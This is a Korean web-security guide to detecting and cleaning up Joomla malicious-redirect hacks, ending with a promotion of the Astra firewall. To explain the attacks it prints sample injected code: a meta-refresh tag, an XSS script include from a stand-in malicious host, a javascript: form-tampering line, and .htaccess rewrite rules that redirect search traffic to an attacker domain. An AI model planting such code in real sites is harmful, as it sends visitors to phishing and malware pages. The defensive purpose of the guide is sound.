Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

조믈라(Joomla) 악성코드 리다이렉트 해킹 – 탐지 및 완벽 대응 가이드

오픈소스 커뮤니티의 힘으로 운영되는 조믈라(Joomla)는 사용자 친화적인 CMS로, 웹사이트 관리라는 지루하고 반복적인 작업에 편의성을 더해 줍니다. 다양한 확장 기능(Extension) 덕분에 널리 사랑받고 있지만, 올해에도 XSS(크로스 사이트 스크립팅), 파일 침입, SQL 인젝션 등 여러 취약점이 발견되었습니다. 이러한 취약점은 공격자들의 주요 표적이 됩니다.

개발자들은 빠르게 보안 패치를 배포하지만, 사용자들이 업데이트를 미루는 동안 수많은 조믈라 사이트가 공격에 노출됩니다. 일단 침해당하면 사이트는 공격자의 손아귀에 들어가게 되며, 공격자는 사이트를 변조하거나 파괴할 수 있고, 특히 조믈라 리다이렉트 해킹을 통해 클릭을 수확하거나 스팸을 유포합니다. Joomla Web Security라는 저서에서도 이러한 위협이 강조된 바 있습니다.

조믈라 리다이렉트 해킹: 주요 증상

조믈라 리다이렉트 해킹은 탐지가 까다로운 편입니다. 웹 관리자는 오랫동안 침해 사실을 모른 채 지내다가, 방문자들이 "사이트 접속 시 엉뚱한 곳으로 연결된다"고 불평할 때야 비로소 알게 되는 경우가 많습니다. 악성코드 리다이렉트에 감염된 사이트의 대표적인 증상은 다음과 같습니다.

  • 사용자가 알 수 없는 도메인으로 강제 이동됩니다.
  • 방문자에게 가짜 광고 사이트가 표시됩니다.
  • 사이트가 사용자 기기에 악성코드를 설치하려 시도합니다.
  • 스팸 유포로 인해 블랙리스트에 등재될 수 있습니다.
  • 특히 결제 페이지 등에 피싱 페이지가 나타납니다.
  • 연달아 여러 개의 팝업이 뜹니다.

조믈라 해킹 리다이렉트 실제 사례

조믈라 악성코드 리다이렉트는 전 세계 웹 관리자들을 곤란하게 만듭니다. 많은 관리자가 조믈라 커뮤니티 포럼에 도움을 요청하지만, 때로는 정화 작업 후에도 리다이렉트가 재발하는 경우가 있습니다.

조믈라(Joomla) 악성코드 리다이렉트 해킹 – 탐지 및 완벽 대응 가이드조믈라(Joomla) 악성코드 리다이렉트 해킹 – 탐지 및 완벽 대응 가이드조믈라(Joomla) 악성코드 리다이렉트 해킹 – 탐지 및 완벽 대응 가이드

조믈라 리다이렉트 해킹의 원인

DNS 하이재킹

DNS 하이재킹은 심각한 결과를 초래하는 공격입니다. 위키리크스 같은 대형 조직도 DNS 하이재킹의 희생자가 된 적이 있습니다. 이 기법을 사용하면 공격자가 조믈라 사이트로 향하는 전체 트래픽을 우회시킬 수 있으므로, 특히 대기업일수록 DNS 서버 보안에 신경 써야 합니다. DNS 하이재킹은 두 가지 경로로 이루어집니다.

  • 호스트 파일 변조: 모든 컴퓨터에는 호스트명을 IP 주소로 변환하는 hosts.txt 파일이 있습니다. 대규모 악성코드 공격으로 이 파일이 변조되면, 해당 컴퓨터들은 조믈라 사이트 대신 공격자가 제어하는 도메인으로 접속하게 되어 악성 리다이렉트가 발생합니다.
  • DNS 서버 공격: DNS는 오래된 프로토콜이라 시스템 전체가 신뢰에 기반합니다. 마스터 서버는 요청 시 슬레이브 서버로 영역(zone) 정보를 전송하는데, 이 DNS 영역에는 검색 엔진에 노출되지 않는 민감한 머신 정보가 담겨 있습니다. 공격자는 불법 슬레이브 서버를 구축해 영역 정보를 복제한 뒤, 이를 이용해 취약한 머신을 공격하고 네트워크를 장악합니다. 나아가 로컬 DNS 서버를 변조하면 모든 질의가 공격자가 제어하는 서버로 리다이렉트되어 해킹이 성공합니다.

또한 이러한 공격은 공공 와이파이 같은 LAN 환경에서도 가능합니다. 공격자가 가짜 DNS 프록시를 구축하면 조믈라 사이트의 IP를 공격자 서버로 해석하여, 로컬의 모든 사용자를 가짜 조믈라 사이트로 유도할 수 있습니다.

SQL 인젝션(SQL Injection)

올해에도 조믈라에서 다수의 SQLi 취약점이 발견되었습니다. 그중 하나는 CVE-2018-8045로 명명된 User Notes list view 구성 요소의 취약점입니다. 이 결함으로 공격자는 서버에서 SQL 문을 실행할 수 있었고, 데이터베이스의 민감한 테이블이 노출됩니다. 여기서 얻은 로그인 정보로 관리자 대시보드마저 장악할 수 있으며, 대시보드를 확보한 공격자는 모든 파일에 리다이렉트용 자바스크립트 코드를 삽입할 수 있습니다. 공격자는 이 과정을 자동화하기 위해 스크립트를 업로드하며, 기존 파일에 코드를 주입하거나 새 파일을 생성하기도 합니다. 조믈라 리다이렉트 해킹에 흔히 사용되는 감염 파일 예시는 다음과 같습니다.

  • /uuc/news_id.php
  • /zkd/news_fx.php
  • /dgmq/w_news.php
  • /cisc/br-news.php

이런 파일을 발견하면 즉시 삭제하세요. 각 파일에는 아래와 같은 악성 리다이렉트 코드가 들어 있습니다.

<meta http-equiv="refresh" content="2; url=https://attackerDOMAIN.com/ ">

이 파일들은 메타 태그를 이용해 방문자를 attackerDOMAIN.com으로 이동시킵니다. 참고로 조믈라 사이트가 스택 기반(Stacked Based) SQLi에 취약한 경우도 있는데, 이 경우 공격자는 시스템 명령어까지 실행할 수 있어 SQL 문만으로 파일에 악성 리다이렉트 코드를 심을 수 있습니다.

크로스 사이트 스크립팅(XSS)

XSS는 SQLi와 더불어 가장 흔히 발견되는 취약점입니다. 올해 조믈라에서도 CVE-2018-15880, CVE-2018-12711, CVE-2018-11328, CVE-2018-11326 등 수많은 XSS 취약점이 밝혀졌습니다. 이 중 가장 심각했던 것은 CVE-2018-12711로, 결함이 있는 '언어 전환 모듈(language switcher module)' 때문에 일부 언어 URL에 자바스크립트가 삽입될 수 있었습니다. 공격자는 XSS를 통해 악성 리다이렉트뿐 아니라 쿠키 탈취 등 다양한 공격을 수행할 수 있습니다.

<script%20src="https://maliciousSite.com/bad.js"></script>

이 코드를 취약한 매개변수 뒤에 삽입하면 사용자는 maliciousSite.com으로 리다이렉트되고 악성 스크립트 bad.js가 로딩됩니다. bad.js는 공격자의 의도에 따라 모든 종류의 자바스크립트 동작을 수행할 수 있으며, 조믈라 리다이렉트 해킹 외에 피싱 페이지로 유인하는 데도 활용됩니다.

자바스크립트 인젝션

자바스크립트는 매우 강력해서 동적 작업 처리에 널리 쓰이지만, 일부 확장 프로그램 개발자의 안전하지 않은 코딩 습관 때문에 조믈라는 자바스크립트 인젝션에 취약해질 수 있습니다. XSS처럼 자바스크립트 인젝션 역시 조믈라 리다이렉트 해킹에 악용됩니다. 간단한 휴리스틱 테스트로 취약 여부를 확인할 수 있습니다. 접속 중인 사이트의 주소창에 다음을 입력해 보세요.

javascript:alert('Hello World!');

'Hello World!' 메시지 박스가 표시된다면 해당 사이트는 취약한 것입니다. 공격자는 이를 바탕으로 다양한 방식으로 사이트를 조작할 수 있습니다. 예컨대 폼의 특정 필드에 가짜 URL을 추가할 수 있습니다.

javascript:void(document.forms[0].redirect01.value="fakeDOMAIN.com") 이 코드는 redirect01이라는 이름의 입력 필드에 fakeDOMAIN.com 값을 넣어, 해당 필드가 가짜 사이트 링크를 담게 만듭니다. 다만 반사형 XSS와 마찬가지로 이 공격은 온라인상 로컬 머신에서 수행되므로, 원격 사용자를 속이려면 공격자는 다른 소셜 엔지니어링 기법에 의존해야 합니다.

.htaccess 파일

.htaccess는 여러 작업을 수행할 수 있는 강력한 파일로, 일부 스크립트 인젝션 공격 차단 외에 리다이렉트 생성에도 자주 사용됩니다. 조믈라 리다이렉트 해킹의 경우 .htaccess 파일에 다음과 같은 코드가 감염됩니다.

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteRule .* https://MaliciousDomain.tld/redirect.php?t=3 [R,L]

이 코드의 마지막 줄이 redirect.php 스크립트를 이용해 사용자를 MaliciousDomain으로 이동시킵니다. .htaccess 외에 index.php 같은 파일도 흔히 감염됩니다. index.php는 사용자가 처음 도착하는 페이지라 상당량의 트래픽을 담당하므로, 공격자는 최대한의 트래픽을 빼돌리기 위해 이 파일을 장악하려 하고, 빼돌린 트래픽은 클릭 수확에 활용됩니다.

조믈라 리다이렉트 해킹 해결 방법

DNS 서버 보안 강화

영역 전송(zone transfer)은 최소한으로 제한하고, 슬레이브 DNS 서버를 사전에 모두 정의하여 불법 슬레이브가 영역 전송을 요청하지 못하도록 하세요. named.conf.local 파일을 수정하면 됩니다. 아래 이미지를 참고하세요.

조믈라(Joomla) 악성코드 리다이렉트 해킹 – 탐지 및 완벽 대응 가이드

이 설정은 secundario01 같은 슬레이브 DNS 서버를 사전 정의하여 신뢰할 수 있는 서버로만 영역 전송을 허용합니다. 또한 DNS 서버는 데이터 유출 공격에도 악용될 수 있으므로, Wireshark 같은 도구로 DNS 서버를 통과하는 데이터 패킷을 실시간으로 모니터링하는 것이 좋습니다.

데이터베이스 정리

조믈라 리다이렉트 해킹을 유발하는 코드가 핵심 파일 안에 숨겨져 있으면 탐지가 어렵습니다. 하지만 모든 감염 파일에는 공통점이 있는데, 바로 리다이렉트를 담당하는 악성 코드입니다. PhpMyAdmin 같은 데이터베이스 관리 도구를 사용하면 클릭 한 번으로 이런 파일들을 검색할 수 있습니다. 아래 이미지를 확인해 보세요.

조믈라(Joomla) 악성코드 리다이렉트 해킹 – 탐지 및 완벽 대응 가이드

PhpMyAdmin의 검색 기능을 활용하면 코드에 hxxp://maliciousSITE[.]com/bad.php 같은 악성 스크립트를 포함한 모든 페이지/게시물을 찾아낼 수 있습니다. 이 도구로 다음 작업도 수행할 수 있습니다.

  • 새로 생성된 관리자 계정을 확인하고 삭제합니다.
  • 데이터베이스 비밀번호를 재설정합니다.
  • 감염된 테이블을 정리합니다.
  • 공격자가 데이터베이스를 훼손했다면 변경 사항을 롤백합니다.

서드파티 광고 점검

수익 창출을 위해 서드파티 광고를 사이트에 게재하는 경우가 많지만, 일부 광고 네트워크는 규칙을 제대로 지키지 않습니다. 광고 콘텐츠 심사가 허술하면 악의적인 행위자가 광고 안에 리다이렉트 코드를 삽입할 수 있고, 대부분의 악성 스크립트가 외부 서버에 호스팅되어 문제가 더 복잡해집니다. 정화 후에도 감염이 계속 재발한다면 광고를 차단해 보세요. 그로 인해 리다이렉트 해킹이 멎는다면 사이트 내 악성 광고가 원인일 가능성이 높으니, 광고 네트워크에 연락해 문제를 해결하세요.

기타 예방 조치

  • 업데이트에는 중요한 보안 수정 사항이 포함되어 있으며 체인지로그로 확인할 수 있습니다. 조믈라를 안전하게 유지하려면 정기적으로 업데이트하세요.
  • 평판 좋은 확장 프로그램만 사용하고, 눌(nulled) 버전이나 코딩 품질이 낮은 확장 프로그램은 피하세요. 핵심 파일뿐 아니라 확장 프로그램도 최신 상태로 유지해야 합니다.
  • 강력한 자격 증명은 무차별 대입(brute force) 공격 가능성을 최소화합니다.
  • 서버의 파일 권한을 안전하게 설정하세요. .htaccess 같은 파일은 444(r–r–r–) 또는 440(r–r—–) 권한으로 설정하는 것이 좋습니다.
  • 파일 변경이 의심되면 SSH로 로그인한 뒤 터미널에서 find /path-of-www -type f -printf '%TY-%Tm-%Td %TT %pn' | sort -r 명령을 실행하세요. 출력되는 목록은 타임스탬프순으로 정렬된 수정 파일들입니다. 이후 파일을 직접 검토하고, 의심스러운 코드 줄은 '#' 문자로 주석 처리한 뒤 전문가에게 파일 평가를 의뢰하세요.

방화벽으로 재발 방지

조믈라 리다이렉트 해킹이 재발하지 않도록 하는 것이 중요하지만, 해커들은 끊임없이 사이트를 노릴 수 있습니다. 이런 상황에서 가장 효과적인 방어책은 방화벽입니다. 방화벽 통합은 비교적 쉽고 간편하며, 오늘날 시중의 보안 솔루션은 손쉽게 확장 가능합니다. Astra 같은 솔루션은 소규모 블로그부터 대형 쇼핑몰까지 폭넓게 대응하며, 파일이 수정될 때마다 이메일로 사용자에게 알려 줍니다.

Astra

Astra는 조믈라 악성코드 리다이렉트 차단에서 검증된 성과를 보유하고 있습니다. Astra가 배포하는 패킷 필터링은 공격자의 악성 요청이 사이트에 피해를 주지 않도록 막아 줍니다. 또한 조믈라 사이트의 보안 감사를 수행하여 취약점이 발견되면 알려 주므로, 항상 공격자보다 한발 앞서 나갈 수 있습니다. 사람의 지원과 자동화의 완벽한 결합인 Astra는 조믈라 리다이렉트 해킹 차단에 강력히 추천할 만한 솔루션입니다.

조믈라(Joomla) 악성코드 리다이렉트 해킹 – 탐지 및 완벽 대응 가이드